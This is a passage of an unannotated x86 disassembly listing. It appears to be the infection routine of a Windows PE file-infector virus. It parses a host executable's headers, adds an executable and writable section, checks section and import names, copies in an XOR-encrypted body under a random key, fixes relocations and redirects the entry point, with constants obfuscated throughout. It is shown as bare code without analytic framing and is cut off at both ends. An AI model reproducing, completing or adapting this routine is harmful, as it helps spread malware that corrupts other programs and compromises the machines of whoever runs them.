add eax, edx
sub eax, 0Dh
cmp [ebp+var_1184], eax
jz short loc_4406C1
mov eax, dword_5511A0
add eax, dword_5511F0
sub eax, 3
cmp [ebp+var_31EF4], eax
jnb short loc_4406A3
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_5511E0
add ecx, dword_551190
sub ecx, 0Bh
sub edx, ecx
mov [eax], dx
jmp short loc_4406C1
; ---------------------------------------------------------------------------
loc_4406A3: ; CODE XREF: sub_440485+1FDj
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_551158
inc ecx
movsx edi, word_551170
add ecx, edi
sub edx, ecx
mov [eax], dx
loc_4406C1: ; CODE XREF: sub_440485+1E7j
; sub_440485+21Cj
mov eax, [ebp+var_8]
mov ecx, [eax+80h]
mov [ebp+var_430], ecx
mov eax, [eax+0D4h]
add eax, 0F8h
add eax, [ebp+var_840]
mov [ebp+var_1074], eax
mov eax, 28h
movsx ecx, word_55111C
add ecx, 3
mul ecx
mov [ebp+var_31EF8], eax
add [ebp+var_1074], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31EFC], eax
add [ebp+var_1074], eax
mov eax, [ebp+var_8]
mov eax, [eax+54h]
cmp [ebp+var_1074], eax
ja loc_441A12
movsx eax, word_5510E4
movsx edx, word_551140
add eax, edx
sub eax, 5
mov [ebp+var_1C], eax
mov eax, dword_5511F4
add eax, dword_551178
sub eax, 8
mov [ebp+var_C54], eax
movsx eax, word_5510E4
mov [ebp+var_105C], eax
mov eax, dword_551134
add eax, dword_55126C
sub eax, 10h
mov [ebp+var_434], eax
jmp loc_44083E
; ---------------------------------------------------------------------------
loc_440780: ; CODE XREF: sub_440485+3C6j
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F08], eax
mov eax, [ebp+var_840]
add eax, 0F8h
add eax, [ebp+var_4]
mov edx, [ebp+var_31F08]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F00], eax
mov eax, [esi+10h]
add eax, [esi+14h]
mov [ebp+var_31F04], eax
mov ecx, [ebp+var_C54]
cmp eax, ecx
jbe short loc_4407D1
mov [ebp+var_C54], eax
loc_4407D1: ; CODE XREF: sub_440485+344j
mov eax, [ebp+var_1C]
cmp [ebp+var_31F00], eax
jbe short loc_4407E5
mov eax, [ebp+var_31F00]
mov [ebp+var_1C], eax
loc_4407E5: ; CODE XREF: sub_440485+355j
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [ebp+var_31F00]
jnb short loc_440810
cmp eax, [esi+0Ch]
jb short loc_440810
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_440810: ; CODE XREF: sub_440485+36Fj
; sub_440485+374j
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_440838
add edx, [esi+8]
cmp eax, edx
jnb short loc_440838
mov eax, [esi+14h]
mov edx, [ebp+var_430]
sub edx, [esi+0Ch]
add eax, edx
mov [ebp+var_844], eax
loc_440838: ; CODE XREF: sub_440485+396j
; sub_440485+39Dj
inc [ebp+var_434]
loc_44083E: ; CODE XREF: sub_440485+2F6j
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_440780
movsx eax, word_551144
add eax, 0FFFh
push eax
push [ebp+var_1C]
call sub_43E8CA
add esp, 8
mov [ebp+var_1C], eax
mov eax, dword_5510C4
add eax, dword_5511D0
sub eax, 0Ch
cmp [ebp+var_1184], eax
jz short loc_44088B
mov eax, [ebp+var_C54]
mov [ebp+var_10], eax
loc_44088B: ; CODE XREF: sub_440485+3FBj
mov eax, [ebp+var_8]
movsx edx, word_55112C
movsx ecx, word_55120C
add edx, ecx
sub edx, 5
cmp [eax+0A8h], edx
jnz short loc_4408B8
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jnz loc_441A12
loc_4408B8: ; CODE XREF: sub_440485+422j
movsx eax, word_5511CC
add eax, dword_551090
sub eax, 7
cmp [ebp+var_105C], eax
jz loc_440999
mov eax, dword_551108
sub eax, 2
mov [ebp+var_31F08], eax
mov eax, dword_55116C
sub eax, 9
mov [ebp+var_31F00], eax
jmp short loc_440940
; ---------------------------------------------------------------------------
loc_4408F2: ; CODE XREF: sub_440485+4E1j
mov eax, [ebp+var_105C]
mov [ebp+var_31F0C], eax
mov eax, 1Ch
mul [ebp+var_31F00]
mov [ebp+var_31F10], eax
mov eax, [ebp+var_31F0C]
mov edx, [ebp+var_31F10]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F04], eax
mov edx, [ebp+var_31F08]
cmp [eax+18h], edx
jbe short loc_44093A
mov eax, [eax+18h]
mov [ebp+var_31F08], eax
loc_44093A: ; CODE XREF: sub_440485+4AAj
inc [ebp+var_31F00]
loc_440940: ; CODE XREF: sub_440485+46Bj
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F0C], edx
mov edi, edx
cmp [ebp+var_31F00], edi
jb short loc_4408F2
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F08]
call sub_43E8CA
add esp, 8
mov [ebp+var_31F08], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_31F08]
jz short loc_440999
cmp eax, [ebp+var_10]
jnz loc_441A12
loc_440999: ; CODE XREF: sub_440485+449j
; sub_440485+509j
and [ebp+var_1078], 0
mov eax, dword_551190
sub eax, 6
mov [ebp+var_438], eax
jmp loc_440AF7
; ---------------------------------------------------------------------------
loc_4409B3: ; CODE XREF: sub_440485+681j
mov eax, [ebp+var_438]
add eax, [ebp+var_844]
add eax, [ebp+var_4]
mov [ebp+var_32004], eax
mov eax, dword_55124C
add eax, dword_5511DC
sub eax, 0Eh
mov edx, [ebp+var_32004]
cmp eax, [edx]
jz loc_440B0C
mov eax, [ebp+var_844]
mov edx, [ebp+var_32004]
mov edx, [edx+0Ch]
sub edx, [ebp+var_430]
add eax, edx
mov [ebp+var_32008], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_31FFF]
push eax
call ds:dword_44B1A4
add esp, 8
mov eax, dword_551270
sub eax, 5
mov [ebp+var_31F00], eax
jmp short loc_440A50
; ---------------------------------------------------------------------------
loc_440A25: ; CODE XREF: sub_440485+5E4j
mov eax, [ebp+var_31F00]
mov al, [ebp+eax+var_31FFF]
cmp al, 7Ah
jge short loc_440A4A
cmp al, 61h
jle short loc_440A4A
mov eax, [ebp+var_31F00]
lea eax, [ebp+eax+var_31FFF]
sub byte ptr [eax], 20h
loc_440A4A: ; CODE XREF: sub_440485+5AFj
; sub_440485+5B3j
inc [ebp+var_31F00]
loc_440A50: ; CODE XREF: sub_440485+59Ej
mov eax, [ebp+var_31F00]
movsx eax, [ebp+eax+var_31FFF]
mov edx, dword_5510A4
sub edx, 9
cmp eax, edx
jnz short loc_440A25
movsx eax, word_5510AC
add eax, dword_551098
cmp byte ptr [ebp+eax+var_32004+2], 33h
jnz short loc_440AF0
mov eax, dword_551244
cmp byte ptr [ebp+eax+var_32004], 52h
jnz short loc_440AF0
movsx eax, word_551268
cmp byte ptr [ebp+eax+var_32004+3], 45h
jnz short loc_440AF0
mov eax, dword_551270
add eax, dword_5511DC
cmp [ebp+eax+var_3200D], 4Bh
jnz short loc_440AF0
movsx eax, word_5510F0
add eax, dword_551108
cmp [ebp+eax+var_31FFF], 4Ch
jnz short loc_440AF0
mov eax, dword_5510B4
movsx edx, word_551234
add eax, edx
cmp [ebp+eax+var_32000], 32h
jnz short loc_440AF0
mov [ebp+var_1078], 1
loc_440AF0: ; CODE XREF: sub_440485+5FBj
; sub_440485+60Aj ...
add [ebp+var_438], 14h
loc_440AF7: ; CODE XREF: sub_440485+529j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_4409B3
loc_440B0C: ; CODE XREF: sub_440485+559j
mov eax, dword_551124
sub eax, 9
cmp [ebp+var_1078], eax
jz loc_441A12
mov eax, [ebp+var_8]
or word ptr [eax+16h], 1
mov eax, ds:dword_4CE9F0
lea eax, [ebp+eax+var_31ED8]
mov [ebp+var_42C], eax
mov eax, [eax+3Ch]
mov [ebp+var_848], eax
add eax, [ebp+var_42C]
mov [ebp+var_84C], eax
cmp [ebp+var_1184], 0
jnz loc_440C61
mov eax, [ebp+var_8]
movsx edx, word_5511BC
add edx, dword_551090
sub edx, 6
cmp [eax+0D4h], edx
jz loc_440C61
mov edx, dword_5511D4
add edx, dword_551114
sub edx, 0Bh
cmp [eax+0D0h], edx
jz loc_440C61
mov edx, [ebp+var_1074]
cmp [eax+54h], edx
jbe loc_440C61
mov eax, [ebp+var_840]
mov [ebp+var_31F08], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_31F08]
mov edx, [ebp+var_31F0C]
lea eax, [eax+edx+0F8h]
mov [ebp+var_31F00], eax
mov eax, 28h
mov ecx, dword_551218
add ecx, 2
mul ecx
mov [ebp+var_31F10], eax
add eax, [ebp+var_31F00]
mov [ebp+var_31F04], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F00]
add edx, eax
push edx
mov edx, [ebp+var_31F04]
add edx, eax
push edx
call ds:dword_4CD914
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F14], eax
mov eax, 28h
mov ecx, dword_551184
add ecx, dword_551258
sub ecx, 6
mul ecx
mov [ebp+var_31F18], eax
mov eax, [ebp+var_31F14]
mov edx, eax
mov ecx, [ebp+var_31F18]
add [edx], ecx
loc_440C61: ; CODE XREF: sub_440485+6D1j
; sub_440485+6F0j ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43E8CA
mov [ebp+var_10], eax
mov eax, [ebp+var_840]
mov [ebp+var_31F00], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F04], eax
add eax, [ebp+var_4]
mov edx, [ebp+var_31F00]
lea esi, [edx+eax+0F8h]
push offset byte_552051
call sub_43AC94
push eax
push esi
call ds:dword_44B1A4
mov eax, dword_55110C
add eax, 0E0000015h
add eax, dword_5510F4
mov [esi+24h], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, dword_551198
add eax, 1FFF6h
add eax, dword_551154
mov [esi+8], eax
mov eax, dword_551250
add eax, 4
add eax, dword_551190
push eax
mov eax, dword_5510B4
add eax, dword_55116C
sub eax, 0Dh
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CDA34
mov eax, [ebp+var_1C]
mov [ebp+var_1060], eax
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, ds:dword_4CE9F0
push eax
call sub_43E8CA
mov [esi+10h], eax
call ds:dword_550150
mov edi, dword_55124C
movsx edx, word_55120C
add edi, edx
sub edi, 4
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
mov eax, dword_55114C
add eax, 1FFF3h
movsx edx, word_5510A0
add eax, edx
add [ebp+var_1C], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_43E8CA
add esp, 30h
mov [ebp+var_10], eax
mov eax, dword_551134
add eax, 38h
mov [ebp+var_43C], eax
jmp short loc_440DEA
; ---------------------------------------------------------------------------
loc_440DB5: ; CODE XREF: sub_440485+971j
call ds:dword_550150
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F0C], edx
mov [ebp+var_31F08], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F0C]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_440DEA: ; CODE XREF: sub_440485+92Ej
mov eax, [ebp+var_848]
cmp [ebp+var_43C], eax
jb short loc_440DB5
call ds:dword_550150
mov edi, dword_5511E0
movsx edx, word_551168
add edi, edx
sub edi, 0Ch
add edi, [ebp+var_848]
mov edx, [ebp+var_42C]
mov [ebp+var_31F14], edx
mov [ebp+var_31F10], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F14]
mov [ecx+edi], dl
mov eax, dword_5510E8
sub eax, 7
mov edx, [ebp+var_42C]
mov ecx, [ebp+var_1064]
xor ecx, 4Dh
mov [edx+eax], cl
call ds:dword_550150
mov edi, [ebp+var_848]
mov edx, [ebp+var_42C]
mov [ebp+var_31F1C], edx
mov [ebp+var_31F18], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F1C]
mov [ecx+edi], dl
movsx edi, word_55123C
movsx edx, word_5511EC
add edi, edx
sub edi, 5
mov edx, [ebp+var_42C]
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
mov eax, dword_551128
sub eax, 7
cmp [ebp+var_1184], eax
jz short loc_440F14
mov eax, [ebp+var_8]
mov edx, [eax+34h]
add edx, dword_5510DC
add edx, [eax+28h]
mov [ebp+var_31F20], edx
mov eax, [ebp+var_850]
add eax, 8
mov edx, [ebp+var_4]
mov eax, [edx+eax]
mov [ebp+var_31F24], eax
mov eax, dword_5510A4
sub eax, 5
mov edx, [ebp+var_31F24]
mov ecx, dword_5511F4
add ecx, 0FFFFFFFAh
sub edx, ecx
add eax, edx
add eax, [ebp+var_31F20]
mov [ebp+var_31F28], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_31F28]
sub edx, [eax+34h]
mov [eax+28h], edx
loc_440F14: ; CODE XREF: sub_440485+A2Dj
push ds:dword_4CE9F0
push offset byte_48C1F0
lea eax, [ebp+var_31ED8]
push eax
call ds:dword_4CD914
mov eax, [esi+10h]
add eax, ds:dword_4CE9F0
push eax
lea eax, [ebp+var_31ED8]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CD914
add esp, 18h
mov eax, [esi+14h]
add eax, ds:dword_4CE9F0
mov [ebp+var_1068], eax
mov edx, dword_551230
sub edx, 3
add eax, edx
mov [ebp+var_424], eax
jmp short loc_440F89
; ---------------------------------------------------------------------------
loc_440F6F: ; CODE XREF: sub_440485+B13j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_440F89: ; CODE XREF: sub_440485+AE8j
mov eax, [ebp+arg_8]
add eax, [ebp+var_1068]
cmp [ebp+var_424], eax
jb short loc_440F6F
movsx eax, word_5510D8
add eax, dword_5510F8
sub eax, 0Dh
mov [ebp+var_18], eax
mov eax, dword_5510B8
sub eax, 8
mov [ebp+var_440], eax
jmp loc_4412AE
; ---------------------------------------------------------------------------
loc_440FC0: ; CODE XREF: sub_440485+E39j
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_840]
add eax, 0F8h
add eax, [ebp+var_4]
mov edx, [ebp+var_31F24]
mov esi, edx
add esi, eax
mov eax, [ebp+var_848]
mov [ebp+var_31F28], eax
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F2C], eax
mov eax, [ebp+var_42C]
mov edx, [ebp+var_31F2C]
lea eax, [edx+eax+0F8h]
mov edx, [ebp+var_31F28]
mov ebx, edx
add ebx, eax
movsx eax, word_551194
movsx edx, word_5510D8
add eax, edx
sub eax, 0Fh
cmp byte ptr [ebx+eax], 72h
jnz short loc_441071
mov eax, dword_551218
add eax, 4
cmp byte ptr [ebx+eax], 63h
jnz short loc_441071
movsx eax, word_551240
add eax, dword_5511F8
sub eax, 8
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_441071
mov eax, [ebx+14h]
mov [ebp+var_1080], eax
jmp loc_4412A8
; ---------------------------------------------------------------------------
loc_441071: ; CODE XREF: sub_440485+BB8j
; sub_440485+BC6j ...
mov eax, dword_5511F4
cmp byte ptr [ebx+eax], 61h
jnz short loc_4410AF
mov eax, dword_551108
sub eax, 2
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_4410AF
mov eax, dword_5511D4
sub eax, 8
cmp byte ptr [ebx+eax], 65h
jnz short loc_4410AF
mov eax, [ebx+14h]
mov [ebp+var_107C], eax
mov eax, [ebx+0Ch]
mov [ebp+var_1188], eax
jmp loc_4412A8
; ---------------------------------------------------------------------------
loc_4410AF: ; CODE XREF: sub_440485+BF5j
; sub_440485+C03j ...
movsx eax, word_5511C8
movsx edx, word_551168
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_4410E5
mov eax, dword_551258
cmp byte ptr [ebx+eax], 69h
jnz short loc_4410E5
mov eax, dword_551118
sub eax, 4
cmp byte ptr [ebx+eax], 61h
jz loc_4412A8
loc_4410E5: ; CODE XREF: sub_440485+C41j
; sub_440485+C4Cj
movsx eax, word_551094
sub eax, 3
cmp byte ptr [ebx+eax], 2Eh
jnz loc_44117D
movsx eax, word_5511AC
sub eax, 5
cmp byte ptr [ebx+eax], 62h
jnz short loc_44117D
movsx eax, word_551180
movsx edx, word_5510AC
add eax, edx
sub eax, 6
cmp byte ptr [ebx+eax], 73h
jnz short loc_44117D
add esi, 0FFFFFFD8h
movsx eax, word_551274
add eax, 0E000001Fh
mov [esi+24h], eax
mov eax, dword_551160
add eax, 0FFAh
movsx edx, word_551144
add eax, edx
push eax
push dword ptr [esi+8]
call sub_43E8CA
mov edi, [ebx+8]
add edi, eax
mov [esi+8], edi
mov eax, dword_5510E0
add eax, 0FFFh
push eax
mov eax, [ebx+8]
add eax, [ebp+var_1C]
push eax
call sub_43E8CA
add esp, 10h
mov [ebp+var_1C], eax
add esi, 28h
jmp loc_4412A8
; ---------------------------------------------------------------------------
loc_44117D: ; CODE XREF: sub_440485+C6Ej
; sub_440485+C82j ...
mov eax, [ebx+24h]
mov [esi+24h], eax
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+10h]
mov [esi+10h], eax
movsx eax, word_5511EC
mov edx, dword_5511D0
lea eax, [eax+edx+6]
push eax
mov eax, dword_551244
sub eax, 7
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CDA34
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
push ebx
push esi
call ds:dword_44B1A4
mov edi, [ebp+var_18]
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F20], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43E8CA
add esp, 1Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_31F20]
cmp eax, ecx
jbe short loc_441249
movsx edx, word_551268
sub edx, 2
cmp byte ptr [ebx+edx], 64h
jnz short loc_441249
sub eax, ecx
mov [ebp+var_31F30], eax
add [esi+10h], eax
mov eax, [ebp+var_31F30]
add [esi+8], eax
loc_441249: ; CODE XREF: sub_440485+D9Ej
; sub_440485+DAEj
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
movsx eax, word_5511AC
add eax, 0FFAh
push eax
mov eax, [esi+0Ch]
add eax, [ebx+8]
push eax
call sub_43E8CA
mov edi, [ebp+var_8]
mov [edi+50h], eax
mov eax, dword_5510C0
add eax, 0FFFh
push eax
mov eax, [ebp+var_1C]
add eax, [ebx+8]
push eax
call sub_43E8CA
mov [ebp+var_1C], eax
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CD914
add esp, 1Ch
loc_4412A8: ; CODE XREF: sub_440485+BE7j
; sub_440485+C25j ...
inc [ebp+var_440]
loc_4412AE: ; CODE XREF: sub_440485+B36j
mov eax, [ebp+var_84C]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_440FC0
mov eax, [ebp+var_1080]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_4412D3: ; CODE XREF: sub_440485+107Aj
mov eax, dword_551148
sub eax, 7
mov [ebp+var_20], eax
jmp short loc_44133C
; ---------------------------------------------------------------------------
loc_4412E0: ; CODE XREF: sub_440485+EBDj
mov edi, [ebp+var_20]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_4412FC
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_4412FC: ; CODE XREF: sub_440485+E6Aj
mov edi, [ebp+var_20]
shl edi, 2
mov edx, [ebp+edi+var_83C]
add edx, [ebp+edi+var_420]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_441339
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_106C], edi
mov edi, [ebp+var_20]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_441344
; ---------------------------------------------------------------------------
loc_441339: ; CODE XREF: sub_440485+E90j
inc [ebp+var_20]
loc_44133C: ; CODE XREF: sub_440485+E59j
mov eax, [ebp+var_18]
cmp [ebp+var_20], eax
jb short loc_4412E0
loc_441344: ; CODE XREF: sub_440485+EB2j
mov eax, dword_5511E0
sub eax, 9
mov [ebp+var_428], eax
jmp loc_4414C5
; ---------------------------------------------------------------------------
loc_441357: ; CODE XREF: sub_440485+104Cj
mov eax, [ebp+var_428]
add eax, [ebp+var_14]
mov edx, dword_5510FC
add edx, 4
movsx ecx, word_551224
add edx, ecx
add eax, edx
mov [ebp+var_31F24], eax
mov ax, [eax]
mov word ptr [ebp+var_31F20], ax
movzx eax, word ptr [ebp+var_31F20]
mov edx, dword_5510FC
add edx, dword_551264
sub edx, 5
cmp eax, edx
jz loc_4414D7
movzx edi, word ptr [ebp+var_31F20]
mov edx, dword_55119C
mov ecx, edx
add ecx, dword_55124C
sar edi, cl
mov word ptr [ebp+var_31F28+2], di
movzx edi, word ptr [ebp+var_31F20]
mov ecx, dword_551148
sub ecx, 3
shl edi, cl
mov word ptr [ebp+var_31F20+2], di
movzx edi, word ptr [ebp+var_31F20+2]
mov edx, dword_5511B8
movsx ecx, word_551144
add edx, ecx
mov ecx, edx
sub ecx, 4
sar edi, cl
mov word ptr [ebp+var_31F20+2], di
movzx eax, word ptr [ebp+var_31F20+2]
mov edx, dword_5510F4
sub edx, 2
cmp eax, edx
jnz short loc_44142D
movsx eax, word_551144
add eax, dword_551128
sub eax, 8
cmp [ebp+var_428], eax
jnz loc_4414D7
loc_44142D: ; CODE XREF: sub_440485+F8Aj
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
movzx edx, word ptr [ebp+var_31F20+2]
add eax, edx
mov edx, [ebp+var_14]
add eax, [edx]
mov [ebp+var_31F2C], eax
mov eax, [ebp+var_1054]
add eax, [edx]
mov edx, [ebp+var_8]
add eax, [edx+34h]
movzx edx, word ptr [ebp+var_31F20+2]
add eax, edx
sub eax, [ebp+var_C50]
mov [ebp+var_31F30], eax
sub eax, [ebp+var_31F2C]
mov [ebp+var_31F34], eax
movzx eax, word ptr [ebp+var_31F28+2]
cmp eax, dword_551178
jnz short loc_4414B1
movzx eax, word ptr [ebp+var_31F20+2]
add eax, [ebp+var_106C]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
add eax, [ebp+var_4]
mov [ebp+var_31F38], eax
mov edx, [ebp+var_31F34]
add [eax], edx
loc_4414B1: ; CODE XREF: sub_440485+1001j
mov eax, dword_5511DC
add eax, dword_55116C
sub eax, 10h
add [ebp+var_428], eax
loc_4414C5: ; CODE XREF: sub_440485+ECDj
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_441357
loc_4414D7: ; CODE XREF: sub_440485+F17j
; sub_440485+FA2j
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_84C]
mov eax, [eax+0A4h]
mov edx, [ebp+var_1080]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_4412D3
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_118C], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
cmp [ebp+var_1184], 0
jnz short loc_441542
add eax, 60h
mov edx, [ebp+var_84C]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_84C]
mov edx, [edx+68h]
add [eax], edx
loc_441542: ; CODE XREF: sub_440485+109Cj
mov eax, [ebp+var_8]
mov edx, dword_551250
add edx, 0Bh
mov [eax+44h], dx
mov edx, dword_5511E4
movsx ecx, word_5510D8
add edx, ecx
sub edx, 6
mov [eax+1Ah], dl
mov ecx, [ebp+var_107C]
add ecx, [ebp+var_42C]
mov [ebp+var_31EE8], ecx
mov edx, dword_5510F4
add edx, 7
mov [eax+46h], dx
mov eax, [ebp+var_107C]
mov edx, ecx
add eax, [edx+1Ch]
sub eax, [ebp+var_1188]
mov [ebp+var_31EEC], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EF0], eax
mov eax, [eax]
mov [ebp+var_1058], eax
movsx eax, word_551168
add eax, dword_5510B8
sub eax, 0Ch
mov [ebp+var_24], eax
jmp short loc_441607
; ---------------------------------------------------------------------------
loc_4415C6: ; CODE XREF: sub_440485+1188j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_441604
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_1198], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1194], edi
jmp short loc_44160F
; ---------------------------------------------------------------------------
loc_441604: ; CODE XREF: sub_440485+115Bj
inc [ebp+var_24]
loc_441607: ; CODE XREF: sub_440485+113Fj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_4415C6
loc_44160F: ; CODE XREF: sub_440485+117Dj
mov eax, [ebp+var_1194]
mov edx, [ebp+var_8]
add eax, [edx+34h]
add eax, [ebp+var_1058]
sub eax, [ebp+var_1198]
mov [ebp+var_1190], eax
mov eax, [ebp+var_84C]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_4418D6
; ---------------------------------------------------------------------------
loc_441650: ; CODE XREF: sub_440485+1460j
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
movzx ecx, byte ptr [edx+eax]
mov edi, dword_551218
add edi, 0E7h
add edi, dword_55122C
cmp ecx, edi
jnz loc_441788
movsx ecx, word_5511C4
movsx edi, word_55111C
add ecx, edi
sub ecx, 5
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word_55123C
sub edi, 3
cmp ecx, edi
jnz loc_441788
mov ecx, dword_55126C
sub ecx, 5
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word_5510EC
add edi, dword_551114
sub edi, 2
cmp ecx, edi
jnz loc_441788
mov ecx, dword_551164
add ecx, 4
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_5511B0
sub edi, 7
cmp ecx, edi
jnz loc_441788
mov ecx, dword_5510C0
add ecx, dword_5511F8
sub ecx, 7
add eax, ecx
movzx eax, byte ptr [edx+eax]
mov edx, dword_5511A0
add edx, dword_551250
sub edx, 2
cmp eax, edx
jnz short loc_441788
mov eax, [ebp+var_118C]
mov edx, [ebp+var_8]
add eax, [edx+34h]
mov [ebp+var_31F20], eax
mov eax, [edx+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F24], eax
movsx eax, word_55120C
add eax, 0FFFFFFFFh
sub eax, [ebp+var_31F24]
add eax, [ebp+var_31F20]
mov edx, dword_551134
add edx, dword_551128
sub edx, 0Bh
sub eax, edx
mov [ebp+var_31F28], eax
mov edi, dword_551134
mov edx, [ebp+var_C]
mov ecx, dword_551098
dec ecx
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-20h], ecx
loc_441788: ; CODE XREF: sub_440485+11E9j
; sub_440485+1216j ...
mov eax, [ebp+var_C]
movsx edx, word_5511EC
mov [ebp+var_31F20], edx
mov ecx, [ebp+var_4]
mov [ebp+var_31F24], ecx
mov edi, dword_551134
add edi, edx
sub edi, 0Ah
mov edx, eax
add edx, edi
movzx edx, byte ptr [ecx+edx]
mov edi, dword_551148
add edi, dword_55109C
sub edi, 0Eh
